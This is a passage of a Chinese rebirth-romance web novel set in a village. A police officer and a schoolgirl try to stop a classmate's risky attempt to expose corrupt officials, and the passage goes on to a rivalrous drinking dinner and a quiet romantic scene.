林语晨意识到话太过,忙找补:“没事,谁学车不是一步一步来呢。没摔伤吧?”
赵晓鹤听到关心话,扶着被座椅刮到的腰侧,嘶嘶呼气:“谢谢语晨,没事。有归哥,谢谢你啊。这车又大又沉,不好上手。”
其实可以不用买这么大的型号,只是赵晓鹤想要比另一个人更男人,就选择这种流行的高大自行车。
这种车可以坐一家四口,前面横档坐两个小孩,后座属于妈妈,爸爸一人带三。
林语晨帮忙踢开那块惹他的石头:“你买新车了?还不如配副眼镜实在。”
“那怎么能一样呢。”赵晓鹤激动地说,“我知道那个人也有辆车,隔三差五骑来村里找你。我不能比他差。村办厂入股要不了我那些存款,我问二叔匀张购车票,买了辆自行车回来。
语晨,我很快就学会骑车。等我学会就载你去上学。”
赵有归拍着永久的自行车,老式车轮胎大、坐凳高,横档也高,但结实。
他听着赵晓鹤的话,轻轻扬眉:“晓鹤,我要去趟县里,自行车能借给我骑一趟吗?”
“啊?”赵晓鹤懵圈,面对赵有归诚恳的刚毅脸,像头老虎扑来,不由自主应了,“哦,好啊。”
林语晨拍在赵晓鹤的手臂:“晓鹤,正好我要去县里,就不等你三叔的拖拉机了。”
“哎,语晨,等我学会载你去啊。”赵晓鹤还想多说些,发现林语晨已经坐在自行车的后座。
“谢了。”赵有归长腿一蹬,载着后座上的林语晨上路。
赵晓鹤张大眼睛追出两步:原来可以这么上车啊?唔,我也想这样载语晨!
落脚踩在林语晨踢开的石头,再次拐了下。
“啊……语晨……”
“晓鹤,你先去配一副眼镜吧。”林语晨在后座朝他挥手,一手抓紧赵有归的衣裳。
两人驶出段路,林语晨再也忍不住笑出声:
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“你说他好端端买什么自行车,高度近视,连路上的石头都看不清,不如配一副眼镜。”
赵有归应说:“你不是提醒他吗?”
“哎,你怎么抢人家车这么顺手?不知道得还以为你是抢匪。”林语晨吹着湿漉漉的风,仰看阴沉的天色,估摸傍晚会下雨。
赵有归在前笑,迎着风说:“我明明问他借了。”感受后腰被捶了一下,不由侧头,又笑着用力踩脚蹬。
自行车穿过田野,在碎石子上咯噔下,林语晨吓得两手抓在他腰侧。
“抓紧,别掉下去。”赵有归提醒。
“抓着呢。”林语晨睨他,后背宽阔,包裹在淡绿色的简洁布衣下,有些土,却莫名让人安心。
林语晨望着一旁泛起浮烟的江水,说起上县城的目的。
“淳于芳跟踪林菲儿,发现她买避孕药。周五放学的时候,她拦下我,近几个周六的晚上,林菲儿会进招待所见一个男人,待到很晚才出来。她要蹲守,再报警。
我觉得这事悬,想去阻止她。
她家在骆家村,江源县外的村子。”
刹车滋了下,赵有归一脚落地,等林语晨跳车,跟着推车上路。
“林菲儿在招待所见谁?”
林语晨看向塘内侧泛青绿的水田,幽幽说:“环保局,陆天。”
“语晨,这件事我来做,你别去。”赵有归推车拦下她。
林语晨紧盯他的双眸:“你会怎么做?”
“江源县局抓不了陆天。”赵有归看出她脸上的惊讶,淡定说,“你确实要阻止淳于芳的贸然举动。不过,这事可以用来钓小老虎。”
“嗯?”林语晨不解,“陆天关系到你办的案子?”
“是。”赵有归笑起来。林语晨的灵活机变配得上她日后站在那个高度。
“淳于芳在骆家村?我去找她。”
“我同你一起去。你不一定找得到她。”
赵有归不明白林语晨为什么这么紧张淳于芳,可以关联的关键人物只有“林菲儿”。
按前世的情况推测,林菲儿与林语晨属于化敌为盟的合作关系。
前世,林语晨提交楚邵的犯罪证据,大半由林菲儿提供。然而,楚邵的车祸发生后,有个悬而不决的疑点:林菲儿指认楚邵,又为什么同他一起逃跑,并齐齐出车祸?
赵有归藏起心里的疑点,自然询问:“为什么这么关心淳于芳?”
林语晨张口,却无法解释她是怎么知道警员赵田和陆天是一伙。
淳于芳报警抓陆天,伤得一定不是林菲儿或陆天,而是她自己。
“在学校里,她帮过我。林裕宝的势力这么大,她要对付林菲儿,肯定会引火伤身。”
“你答应我,找到她后让我同她谈一下。”赵有归不容拒绝地望向林语晨。
林语晨感觉到男人的坚持,内心有些不爽:“关系到你钓小老虎吗?谁啊,县局里的人吗?”
问完就有些后悔,干嘛一时冲动挑衅他,又怕人家深问,不好解释原因。
“嗯。走吧。”赵有归没有追问或解释,跨上车,斜着车身方便她上后座,“上来吧,得赶回去还车、吃中饭呢。”
“……”林语晨无语地瞪他,扭捏着坐上车。
赵有归骑车很稳,像他这个人。
三公里的路程,你不搭话,他能一句话都不说。
林语晨生一路闷气,却发现对方完全没当回事,被自己蠢笑。
权当找个司机。
散了心后,她就坐在车后欣赏塘里塘外的风景。
淳于芳在家睡觉,被她妈妈喊起来时还挨了骂。
她阴沉沉地走出来,扫眼林语晨又盯向赵有归:“你带个人是什么意思,我不是说晚上行动吗?”
36. 黑白照
林语晨张口解释,赵有归已经跨前一步,显示存在感。
当即改口:“他是警察,市局的人。有一个消息,我得告诉你,江源县局有林裕宝的人。你搞林菲儿,他会放过你吗?”
不等淳于芳说话,她母亲拎着扫帚从后堂冲出来。
“死丫头,不是让你不要插手你大伯家的事,怎么不听话?”母亲举起扫帚就敲在女儿的后背。
赵有归以为小姑娘会躲,竟硬生生挨一扫帚。
不等第二下打去,他上前抓住扫帚,没争抢,只是握着不动。
“您先等等。我是市局刑警,赵有归。有话请好好说,别打坏孩子。”
母亲收手,神情变了又变:“你找我们干什么?你应该去大哥家。他家有事,又不是我家。”
“妈,蓝姐不好吗?我能考上高中,多亏她帮我补课。若不是她坚持,我现在就是个在家下地的。
大伯和婶婶不好吗?你不是说咱家的田位置不好,大伯主动让出他家位置好的田。每次婶婶做好吃得都会分给我们些。
好人为什么要遇到这种事?遇上了还讨不到公道!”
“你……人家有人啊。我们有什么?”
母亲哪里不知道感恩,只是无能为力,更不能把女儿也搭进去。
她又气又急,红了眼。
淳于芳梗着脖子,压下满腹酸涩。
“我带他们去大伯家。你放心,他是市局的人,不会同那些人有牵扯。林语晨,我们走。”
“你站住。你知道人家有多大的势力吗?你大伯在市里都被打了。”
母亲追出门,却拦不下跑走的淳于芳。她怒视林语晨和赵有归,眼里充斥泪水,似在怒斥你们为什么要来。
赵有归不能一走了之,直言说:“您放心,我不会让她做伤害自己的事。”
女人的神色说不上放心还是更担心,背过身让他们离开。
林语晨感觉难受,拉上赵有归离开淳于芳家。
两人在院子外面看到踢石头的女生。
淳于芳一手插兜,一手伸向赵有归:“证件。”
赵有归松了神色,转脸朝林语晨笑。
林语晨回他个面无表情。
淳于芳看着软,其实是个犟种。她不躲妈妈的扫帚,敢跟在林菲儿身后,还想抓人家现行。这个时代少有这份胆量。
赵有归递给她小本子,上面是他现在的身份证明和照片。
林语晨凑过去,照片是黑白色,男人穿着正式的警服,戴着警帽,压着眉骨,眼神坚毅深邃,像藏着故事。鼻梁高耸,与他这个人一样硬阔。唇形薄厚适中,若是笑,看着墩厚。若是正色脸,颇有威严。照片上的他神情严肃,整个气质透着正。不能说漂亮,很男人的帅!
看完照片再看赵有归,正好与他望来的眼神对上,似在说“怎么样?”
林语晨眨眼压住唇角,淡定地撇开眸光。
淳于芳递回证件,肃张脸:“我姐的案子是自杀,找好几个地方都说不能立案。你找我是为晚上的事?”
林语晨又发现淳于芳的特质:敏锐。
赵有归:“有谈话的地方吗?”
“走,去我大伯家。”淳于芳边走边看林语晨,“晚上,你和我去吗?”
“去。”林语晨说完,接收赵有归不赞同的眼神,径直撇开脸。
她想去碰碰林菲儿,弄明白一些事。
淳于芳笑起来:“我没看错你。”
两人同时听到轻咳,齐齐望向赵有归。
赵有归:“别冲动!”
淳于芳撇头,一段路后停在土屋前,推开院门。
“这是我大伯家,你们别提我姐姐。”
淳于蓝家的院子很乱,下田的工具东倒西歪。几只鸡满院子跑,一不留神能踩到鸡粪。
“婶婶病了。大伯受了伤,一直没好。家里有点乱。”她扶起拦路的工具,拿竹梢赶鸡回笼。
屋里传来动静,粗哑的声音在问:“小芳吗?”
“哎,大伯,是我。我带同学过来,我妈嫌我们太吵,到你家坐坐,谈点事。”淳于芳朝两人嘘了声,扔掉竹梢进堂屋。
赵有归接手这活,赶鸡进笼。
林语晨看他东奔西走地忙活,拿起扫帚轻轻地扫鸡屎。这活不能重手,容易扬尘。
一个男人被淳于芳扶出来,说两个字就忍不住咳嗽,断断续续说:“你们……咳咳……是小芳……咳咳同学啊……招待……咳咳不周,随便坐。家里……咳咳……有点乱……”
“这是我大伯。”淳于芳介绍,“大伯,回屋里坐吧。那是我同班同学,这位是……”
“哦,我是她……哥。”赵有归自己安排身份。
淳于蓝的爸爸,精神萎靡,骨瘦如柴。脸色病黄,皮连着骨头,一旦咳得重点像是会厥过去。
因着这位父亲,淳于蓝的样子在林语晨的脑子里渐渐清晰。
那个女孩清丽大方,面对孙佳人等人的刁难,即使难堪也能笑出来。只不过,她的笑会招来得更恶毒的欺负。
赵有归赶好鸡,见林语晨的眼睛红了,接过她手里的笤帚。
“你出去走走吧。我有事与淳于芳谈。”
“我不能听?”林语晨低声道。
“你答应过我。”赵有归跳过她的问题。
林语晨喊声“大伯”作招呼,转身离开。
社会就是这么残酷,没遇上事还好,一旦遭了事,没钱或权,再无人帮,只能头铁硬闯,若闯不过去,兴许就此起不来。
像当年林兰香到学校道歉;像前世为造纸厂讨批文,只能在屏风后干站三小时。
往后种种,为了活得更好、站得更高,一次次违背心意去争去抢去夺,永不停止,除非临死。
林语晨站在骆家村的土路上,回首淳于蓝的家,心情沉得像这片天,风雨欲来。
院子里,赵有归开门见山:“我和林语晨一个意思,劝你晚上别去。”
“我知道你的意思。”淳于芳扭开头,“你是因为林语晨吧?你怕她受迫害。”
另一边,大伯淳于茛听出话意。
他一直知道淳于芳想做什么,劝过她
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几次没用。
此刻,他沉沉地叹口气,膝上的手握成拳:“这帮……咳咳……畜生。”
赵有归垂眸,敛起眸里的情感:“我直说来意。今晚,你拿涉.黄的借口报警,人进去第二天就能出来。”
“为什么?你们警察不就管这个吗?她这样……”
“男方定一个婚外情以及作风不正,严重的话停职除籍。至于女方,名声坏了,但她能进灵江市。市里没人认识她,可以重新生活。”
赵有归说明她这样做的后果,以后果看行为,能让她明白值不值得冒险。
淳于芳气得浑身颤抖,不甘心地低吼:“我要怎么样才能……给姐姐报仇?”怕大伯听清楚,后半句压低嗓音。
淳于茛听出淳于芳的心意:“小芳……咳咳……算了。咱们……斗不过咳咳……他们。”
男人粗噶的脸上滑落眼泪。
赵有归默了下,又道:“你写一封举报信,举报环保局陆天作风不正,具体内容我教你写。至于今天晚上,你听我安排。光靠江源县局,动不了陆天,也抓不住林菲儿。
村委有电话吗?”
“有。”大伯的眼睛绽着水光,扶着墙起身,“我知道你是警察。警察同志,咳咳……你真能替……咳咳蓝蓝……咳咳讨回公道?”
赵有归知道他需要一个心里支撑,无法给出确切的承诺,但是他可以表个态:“我以警察的身份表态:犯法者当受法律制裁。另外,我要想了解下你被打的经过,做份笔录。”
淳于茛忍不住捂住扭曲的脸,心里高兴,脸上却已经习惯愁苦,一时变幻不来神色。
“谢谢……谢谢……咳咳……谢谢。”
淳于芳也激动地说:“我相信你。他们作恶多端,应有报应。我来写举报信,我带你去找电话。”
淳于茛看两人离开,抹着泪,轻轻地笑叹:“傻丫头,都是傻丫头。终于遇着好人了。”
林语晨走向出院门的两人,好奇问:“谈好了?”
淳于芳的神色松弛很多,闻言看向赵有归,已经有以他为主的意思。
赵有归点头:“嗯。我要借用下这里的电话,与淳于芳去一趟村委。”
林语晨不明所以地笑:“你们去吧,我在这等你。”
赵有归要做事,没多想,同淳于芳一起离开。
林语晨掉头回淳于蓝家。男人蹲坐在小竹椅上缩成一团,压抑的哭声让人心生酸涩。
她忘记进来做什么,联想到前世。在医院病逝后,林兰香和林大宝是不是也这样难过。白发人送黑发人,人间一大伤悲。
淳于茛听到屋里的呼声,压抑悲伤。起身时发现林语晨,背过身抹掉泪后招呼:“芳芳同学,咳咳……进来……坐吧。”
“谢谢大伯。”林语晨听到里面什么东西落地的声响,追在淳于茛的身后进屋。
昏暗的屋子里空气很差,一股久不见太阳的霉藏味。
一张木板床,边角露出霉烂的木头。铺着脏污的被褥,以及挣扎想要起身的女人。女人的头发蓬乱,脸色青白,透着病气。
37. 王织信
淳于茛扶妻子坐在床头,轻声劝慰:“你……咳咳……做什么呀。他们……咳咳是芳芳……同学,咳咳……到咱家看看。”
妻子轻叹着看向林语晨,虚弱地说:“我好像听到你们谈蓝蓝了?”
淳于茛张口,却说不出话。沉默胜于言辞。
林语晨帮着捡起地上的碗,出门洗干净,从桌上的搪瓷壶里倒一碗水:“阿姨,喝口水润润嗓子。”
“谢谢。”淳于茛接过碗,喂妻子喝水。
妻子见他咳得厉害,将碗推回去:“你喝吧,咳得脸都红了。”
两人推来让去,喝上水后回头,林语晨已经不在屋里。老两口说不上什么滋味,可能吓到她,权当她没出现过。
淳于茛到桌边放碗,发现桌上有十五块七毛钱。刚才进屋前还没有,明白是女学生留下。一时间眼里涩地落下泪。
这恐怕是那个女学生全部的钱!
妻子见他神色,再瞧他手里的钱,虚弱地感叹:“她是好姑娘。你把钱给芳芳,让她还回去。”
“嗯。”淳于茛轻叹,开始新一轮咳嗽。
林语晨站在这家门外,捏着空空的布兜,再也忍不住眼里的酸涩。
她知道当面送钱,两夫妻一定会拒绝。
但是,这是她的一点心意。林兰香给的二十元钱除去挂号费、买炸丸子,余下得都在那。
“我想回家了。”林语晨自言自语,掉头往赵家村赶。
赵有归办完事,一路找来,在通往赵家村的路上看到那个大步往前走的姑娘。
“语晨,怎么不等我?”
林语晨固执地走着,没理他。
“我去淳于蓝家,他家说你留钱了。”赵有归推着车陪她。
没说淳于茛让转交钱的事,他不仅拒绝,还放下兜里赢回来的一百来块钱。这钱原是分给张天鸿,人没要,就借花献佛做善事。
林语晨连头都不撇,心里堵得慌。
赵有归思索着:“淳于蓝爸妈的事伤到你了?”
林语晨猛地停步,正面他:“你不揣测不推理不判断不能解决问题了是吧?”
火气这么大?赵有归哑口。
两人又走近半里路,林语晨走累了。
“芳芳不去蹲点报警了?
“她不能去。我让别人去。”赵有归趁这机会解释,“若今晚她把事情爆出来,林裕宝肯定会报复她。这事你做得对。”
“少拍马屁。明明是你说服她。”林语晨暗自提眉:淳于芳不能去,那是因为我要去。
“芳芳还想对付孙佳好。其实,我也想做。不过,你说得对,一切有法律制裁恶人。我不必为这些人葬送好不容易得来的人生。”
赵有归仔细观察她说话时的微表情,一时间双眸炯炯,兀得笑出声。
林语晨也抿唇笑,反正这番话是拿来哄这位警察。
她拍下大腿,扫眼自行车的后座。
赵有归赶紧跨上车,斜过车身:“回家?”
林语晨轻睨,到自行车后座:“回吧。我们去解决你的事。”
“好,抓稳了。”等她坐好,赵有归摆正车,一脚蹬,骑车上路。
林姑娘不仅要里子,还要面子。
回到赵家村后,林大宝和赵有归聊几句话,楚邵骑车进院。
“晨晨,在家吗?”楚邵二话不说趴在林语晨的房外窗户,敲在玻璃上提醒里面的人。
林语晨连头都不抬,埋头写试卷。
林大宝喊了声:“哎,小伙子。晨晨在写作业,过来。”
林兰香的菜重重地扔进菜盆:这人像什么样子,扒人家姑娘的窗户。我真恨不得提棍轰他。
“叔……”楚邵回头看到林大宝身后的赵有归,满面笑容像是涂胶水,粘在脸上,“呵,你也在啊!”
赵有归冷硬地点头,想拿拳头教教他礼数。
“进屋里谈吧。”
楚邵唾了声“晦气”,不情不愿跟进屋。
赵有归第一句:“不是约下午?”
“你管天管地还管我到未来丈母娘家吃中饭啊?”楚邵怼回去。
男人的危机感告诉他:赵有归除拿林语晨掩人耳目,更重要得是赵有归极有可能也看上林语晨。此外,两老丈人对赵有归比自己热情啊,大危机!
楚邵的语气同林语晨那句“你不揣测不推理不判断不能解决问题了是吧”有异曲同工处。
赵有归的眼神漆黑,想起两人前世的夫妻关系,心头越发不爽。
楚邵眨眼,对面的男人透出股无名杀气,莫名怂了。
“你干嘛这么看我?”撇脸嘀咕,“万年老单身把自己献给人民就好,别想近水楼台先得月啊。”
“呵!”赵有归被重生者打一记闷棍。骂人揭短,最是可恶。
前世,赵有归确实单身到死亡。
他揉捏额角,放下手:“昨晚见谁了?”
楚邵还想同他争两句,沾点上风,被赵有归的直球击中,没好气说:“姓王,宰相的大管家。别问我哪个宰相。我已经说得够明白,若你连这都不知道,在灵江市也出不了头。”
几年后,人家就是正秘书长。听着不显贵,可是能上达天听的人。
城建办、招商买办什么事不经过他啊。再十年,人家就是灵江市真正的宰相,圈里人也习惯唤他宰相!
“王织信。”赵有归毫不犹豫地说出这个名字,惊得楚邵正了色。
楚邵愣怔地窥他,暗抚在心口:他爷得果然知道啊,有备而来。
——这家伙……这家伙不会就是重生吧?
前世林语晨想办厂,自己成她的合作人兼爱人。
这次,赵家村和林家村合成新建村不说,还要办集体厂,和前世不一样。
前世,林语晨中途辍学,离开学校,根本没想过回去读书。
这次,她竟然脑子秀逗跑回去上高中?放着大好的风口不抓,抓未来注定打工的人生?以她的成绩,不可能上清北,连本省最高学府都难,最厉害搞个大专!
赵有归的神情凛然,正色说:“除他还有谁?”
“罗……”楚邵下意识张口,又赶紧闭上,“你别套我话啊。昨晚就王织信一个人。他和孙不二合作,一个跑外,一个控内。他找我就是问新建村集体厂的事。另外,希望我跑深港办个买办企业。林裕宝是个小头目,想上一层,一个劲帮我说好话。人家才肯见我。”
赵有归轻轻地拉起唇角,逼近楚邵。
楚邵下意识挺直腰板:“我都说了!好
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好好……罗恒,知道罗恒吧?”
罗恒根本没去!
但是,以前世的经验倒推,加上歌舞厅林裕宝扔枪甩锅的事,罗恒应该很早就在这个团伙。
后来,罗恒一直升任进灵江市局,被号称带刀侍卫。大家一起组过几次局。
赵有归蹙眉:“昨晚你真见到他?”
“……”你逼过来,我才不小心把前世知道的人供出来!
不行,我得炸回来。这家伙到底是不是重生者?
楚邵撩着眸子,试探说:“别装了。市局多少姓王,我一说,你就猜到他。没少吃排头吧?”
赵有归的神经瞬间绷紧,面上展笑,凝眉说:“我去省局时见过那辆客车的车牌。”
前世被暗杀,应该也是王织信下的黑令。
除此外,王织信应该还拉不少人抱团入伙!
楚邵一脸便秘色。这赵有归属泥鳅吧!
“你听得懂行话?丞相这称呼可不是现在人叫呀!”
那是以后王织信从副处转正职,大家就不能随便唤他的名字。借当时流传广的电视剧《宰相刘罗锅》的名头,给王织信按个大管家的称呼,后来就是大宰相。
赵有归莞尔:楚邵是重生者,知道很多那个组织内部的事。如今,许多事改变后,他开始怀疑别人的身份。
“我说了,我见过那辆客车。至于宰相,你不读三国吗?四大名著,诸葛亮就是丞相!”
“……”楚邵被狠狠地下了脸,脸色红白交替,像是开染房。
他不甘示弱地低吼:“赵田知道吧?他和陆天交好。赵田什么角色,他给王织信穿鞋都不配。罗恒才是他的头。
张天鸿和你一伙对吧?张天鸿和他妹妹拆了林裕宝的场子。林裕宝就想毁掉他。罗恒是那个出主意的人。最毒友人刀!”
怼在赵有归严肃的脸前,一脸烦躁,“别问我怎么知道。张天鸿砸场子那天,我也在场。林裕宝手里有枪,扔给我。后来,他就不避讳我,还有他女儿……又毒又麻。
你知道林菲儿吗?”
赵有归无语地看着碎碎念的男人,重生给楚邵带来什么?年过四十的更年期吗?
“知道了。你还是按以前一样听林裕宝的话吧。”
“哎,你们什么时候行动?”楚邵低喊。
赵有归没回答他,转身出里屋,正好见林兰香端菜,一摸肚子,饿了。
林大宝的眼神瞟向里屋,眨眼示意:办完了?
赵有归点头。
林大宝笑起来:“饿了吧。阿香,饭好了吧?”
“你不会搭把手来端啊?”林兰香在灶台处吼回来。
林大宝拍在赵有归的肩头,朝屋里喊:“楚家的小子,出来吃饭。”
赵有归让林大宝坐下,自己帮林兰香端菜。
楚邵哎了声,依旧在里屋生闷气。
条子都不是人,只管办案,不管人情。
不行,赵有归一定会行动,我不能坐以待毙。
趁王织信给我的好机会,拿赚钱作借口,问林裕宝要笔钱,离开江源县。
林语晨在屋里听着外面的动静,像是赵有归的事已经处理完,那就该轮到自己了。
整理下衣衫,心平气和地出门吃饭。
38. 喜欢谁
饭桌上的气氛有点怪。楚邵像是要吃掉赵有归似,赵有归吃什么,他就抢什么。
林语晨去夹菜,不小心遭了殃。
赵有归帮着把菜夹给林语晨,楚邵直接端盘子往林语晨的碗里倒。
林大宝:……这饭还吃吗?
林兰香:当我们俩不存在吗?
林语晨看着满当当的碗:能不能都轰出去?
“妈,我回房间吃,顺便看书。”
林兰香默默地看着女儿端碗回房,再扫眼林大宝:“我再去炒个菜吧。”
林大宝释放求救的眼神:阿香,别丢下我。
对上两张争强好胜的脸,林大宝呵呵:“……来来,慢慢吃。要不,喝点酒吧?”
“好啊,爸,呃,叔!”楚邵对“老丈人”还是很喜欢。
他找到米酒壶,接着去找碗。赵有归已经拿来三只碗。
楚邵瞪他,给三人倒满满一碗。
“叔,我知道你爱喝酒,回头我给你找瓶茅台。”
前世,楚邵就爱给老丈人找各种酒。他怕林兰香,但是敬着林大宝。
“哦哦,谢谢你啊。你叫楚……”
“楚邵。我爸姓楚,我妈姓邵,他们一个省城人,一个外省,都是知青下乡。后来,两人看对眼就结了婚。
我还有个哥哥叫楚林,娶得是林家村人,与你是本家。”
楚邵端起碗与林大宝碰了下就要喝,发现林大宝又同赵有归碰,也递去碗,“有归哥,当兵多年,在部队喝不到酒吧?来,别客气,一口干,谁喝不完谁就是孙子。”
赵有归轻扯唇角,幽幽地看向楚邵:“好啊,干。”
林大宝以为赵有归会拒绝,没想到答应,赶紧说:“不能喝就少喝点,别喝这么急。米酒后劲大。”
楚邵的眼神发亮:赵有归不能喝酒!
他兴奋了,决定拿米酒喝趴他!
“叔,你随意。”两人异口同声,互对眼,开始咕隆咕隆拿酒当水喝。
林大宝尬扯笑容:其实,我是心疼酒啊!这年头的粮产不高,有余粮酿酒是奢侈。
林语晨吃完饭回灶房放碗,路过堂屋见三人还在吃,诧异说:“妈,他们怎么喝上酒了?”
林兰香意味深长地说:“农忙过了,闲得没事干呗。哝,端去吧。你洗碗啊,我去小翠家串个门。”
林语晨端盘花生米,目送林兰香欢快地离开。
自家妈自家清楚,一定去找小姐妹八卦,可能会炫耀句“我女儿啊追的人可多了。”
她进堂屋放下花生米,刚要离开就被抓住手腕。
林语晨看向目色平静的赵有归,挣了下让他放手。
楚邵急眼,抓住林语晨的另一只手:“赵有归,你干嘛?耍酒疯啊,别乱来啊。”
“你放手。”林语晨斜睨楚邵,瞟见装米酒的五斤壶见底,“爸,别喝了。”
“啊?不多啊,我们分匀了,一人一斤多,才一碗半。”林大宝的酒量好,清醒着呢。左右开弓,按在两小伙的肩头,“放手放手,晨晨,我床底下还有一壶,你去拿来。”
赵有归听话地松了手。
楚邵这才放开林语晨,笑说:“晨晨的酒量很好,号称千杯不醉。出门带上她,保准喝倒一大片。”
林大宝、林语晨和赵有归的眼神同时深几许。
林语晨更是扯起笑:喜欢喝喜欢夸是吧?我让你爬回去。
她到里屋找出十斤壶,提回来:“爸,你藏得真好。”
“嘿,我看到你妈出去才让你拿。别和她说啊,一会再藏回去。”林大宝嘻笑着给两人再次倒满。
“晨晨,你也喝一碗。”楚邵把碗放在林语晨面前,一如前世酒桌上的做派。
林语晨冷嗤,端起碗送到楚邵嘴边:“这酒稀罕着呢,而且你们分匀了。若我喝了,我爸和有归哥该不乐意了。”
赵有归低头看着酒碗,闻言瞧两人,再次低头。乳黄色的米酒漂浮着雪白的米粒,像一抹盛开的笑靥,浅尝微甜,入喉有点冲,下肚后上头。
不知不觉又喝光一碗。
楚邵看到他的举动,绝对不能做孙子。
“晨晨说得对。”咕咚咕咚开咽,中途想要吸口气,林语晨不让,非逼他一口气喝完。楚邵拿出前世豪饮的本事,完了还是忍不住呛起来。
林语晨看着空空的碗,笑了:“来,吃口菜。”
楚邵呛得脸红脖子粗,依旧乐着,就着林语晨的筷子强咽:“晨晨,你真好……噗……咳咳。咽回去了。”
林语晨嫌弃地睨他,一边毫不手软地拿起壶又给他倒满,正要再灌,面前伸来只碗,里面是满满的米酒。
她侧头看去,赵有归的眼神炯炯带笑。
这人什么时候又倒一碗?
“我也要……”赵有归毫不遮掩地直视她。
“你的碗满着呢。”不会喝醉吧?
林语晨歪头,观察他的神情,再及端碗的手掌:神色上看不出来,碗端得很稳,指甲圆短泛红,掌心有些红。
赵有归不太能喝酒啊!
林大宝磕着花生米,看着两人在女儿面前较劲,忍不住拉大唇角:“有归不太能喝。以前他就陪小半碗。”
“能喝。”赵有归固执地递着碗。说来也怪,竟没洒出一滴酒。
楚邵直接开嘲:“晨晨,他不能喝,我能啊。咳咳……他醉了,我来。”
“喂。”赵有归神情越发坚定,说出的话与以往作风不同。
这句“喂”好似在吼楚邵,又像对林语晨“求喂”。
林语晨突然有些心烦,拍掉楚邵接碗的手,拿过赵有归的碗去喂楚邵。
结果赵有归伸长脖子,一副等着人喂的姿态。
林大宝哈哈大笑,断定说:“他醉了。晨晨,扶他回去吧。”
林语晨答应,放下碗,却发现赵有归来咬碗口。
她也无语了,一手按在他的后脖子处,直接给他喂完。
“好了,没有了。有归哥,我送你回去吧。”
起初楚邵瞧着两人乐,后来觉得不对味,不乐意林语晨喂赵有归。
他想起前世。
一开始,林语晨陪着应酬,比自己能喝,有种捡到宝的感觉。
后来,林语晨办事利索、能干,处处比自己行,又觉得这个女人太能干太强势,一旦起飞,根本不需要男人。
造纸厂的发展越来越好,谈买卖合作少有不成事。
楚邵开始有种放逐的心态:林语晨是不是根本不需要我?
此后,两夫妻进城买房。楚邵听说房地产发展好,成立个建筑公司、拉起工程队……造房子的事情多,谈项目谈合作商谈建材……有时候谈不下来,他就拉林语晨去组局。看她劝酒,他也会吃醋心酸。
楚邵猛喝了一碗,放下碗起身反对,被林大宝强按回座位。
林大宝:“小伙子,我很少碰到能喝酒的年轻人。来,酒桌看人品,今天我试试你的本事。”
“不是,爸……不能让晨晨和赵有归一起走啊。”楚邵急了。
林大宝牵起一边唇角:“你这都喊爸了,我不能放过你,改叫叔!”
楚邵起三次身都被林大宝按回去。林家父女喂人喝酒的本事差不多,恼起来直接上手灌。
林语晨搀着人高马大的赵有归出院门。
这个点,村里人都在家打盹,路上没什么人。
两人悄无声息地回赵有归家。
林语晨把人扔在床上,扶着膝盖喘气。这家伙不仅高还沉得很,幸好还知道走路。
她帮着脱掉鞋,捞过军绿色的被子压他身上:“不能喝还非得喝,打肿脸充胖子,犯得着吗?”
赵有归躺在床上后迷瞪双眼,甩下头,迷糊地看向那朵会说话的花朵,呵呵地笑起来。
林语晨诧异地看过去,俯身问:“你笑什么?”
“你。”
“我?”林语晨蹙眉,又展眉回个笑,心想不能跟醉鬼说话。转身要走被拉住手腕,回头要骂人,却发现赵有归坐起来。
“还有什么事吗?”
“这个送你。”赵有归在里兜翻找,抓出两块手绢。一块白色,一块藏青格子色。
他把白色递来:“送你。”
林语晨的目光落在格子帕:“我要那块。”格子帕果真在他那。难道是沈秋霞觉得这颜色适合男人就给儿子?
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赵有归有些迟钝,捏着格子帕愣了会,摇头说:“不行。白色送你。”
“呵!”林语晨轻笑,坐在床沿,“真喝醉了?怎么还分得清颜色。”
“没醉。晨晨。”赵有归直直地看着她,拿起白色手绢强塞进她的手心,帮她握紧,“送你。”
“……”都叫人家小名还没喝多呢?
林语晨拽着白色手绢,又去拿格子帕,已经抓住帕角。
赵有归像一头打盹的老虎,被抽动的力道惊醒,猛抽回去:“不行。”
林语晨也用了力,被他一拽后扑过去,直接撞进赵有归的怀里。
赵有归下意识环住她:“晨晨……”
林语晨靠在他的肩头,感受颈侧传来的亲昵磨蹭,一时没有回过神。手脚被血液涌过,激麻了。
她试着推开赵有归,却被抱得更紧。
“赵有归,松手,别趁醉耍流氓。”
赵有归不说话,动作是一点没松,心满意足地睡着了。
林语晨等好一会才侧头,对方也跟着侧头……
“这个姿势也能睡?”
一边无奈,一边哄他,“赵有归,有归哥,我有点累,松手好不好?”
“呜……”赵有归下意识松开环抱她的手,头依旧靠贴在林语晨的颈项。
林语晨趁机把他放倒,坐在床头看着。
不知怎么,隔空描摹赵有归的五官,轮廓宽长,线条刚硬,不是楚邵那种奶油小生,赵有归更有男人味。
她含笑拿起落在里侧的格子帕,展开后发现帕子没什么变化,意味这帕子没被用过,却被贴身藏着。
电光火石!林语晨想起沈秋霞让赵有归进屋拿帕子的场景、再有城站小吃馆里他收回帕子时慌乱地说“这块脏了……”
这刻,她明白一件事,看向赵有归,喃喃问:“你……怎么会……喜欢我呢?”
赵有归在睡梦里侧个身,平躺的姿势变成婴儿般睡觉,手垫在脸颊下。
这种姿势太奇怪,一点不符合赵有归。
他该是刚才那种平躺的睡姿,再把手放在两侧,又或者像楚邵一样趴着睡……
“压力大、不安心吗?”林语晨喃喃自语,眨眼间又轻轻地笑了。
手好像有了自我意识,自然地摸在赵有归的脸颊。皮肤有些粗硬,但是很烫,热进人心里去。下意识忽视这份入心的感觉,专注手头的触感。若是能涂几次面油,手感会更好。
倾身贴在他的耳侧,缓缓地呼吸喷洒在赵有归的耳边,浮起他偏硬的短发。
睡梦中的赵有归蹙着眉,转脸时鼻尖滑碰过什么,刺激他训练过的脑子。
他睁开眼,看着那道碎花般的背影快速消失,无声呢喃:“……语晨!”
一瞬间的清醒过后,酒精再次占据大脑,安心地睡过去。
回到家的林语晨见林大宝在洗碗,赶过去帮忙。
“爸,还有个呢?”
“在堂屋的竹榻上睡着呢。”林大宝记得妻子说女儿为楚邵在里屋睡发过火,这次他把竹榻让给楚邵。
他把洗过的碗递给女儿,乐呵说,“中意哪个?”
林语晨瞬间明白这话的意思,蹙眉又松,反问:“爸呢?”
林大宝瞪大眼:“问我干啥。你丈夫是跟你过一辈子,又不是跟我和你妈过。你看中哪个你说了算。”
林语晨莞尔,一边过水放碗一边说:“我以为爸更喜欢赵有归。”
“叫人家哥。没大没小。姓楚的小子长得不错,人机灵会来事。只要不懒,你们以后能过上好日子。你妈就喜欢这样。”林大宝摇着头点评。
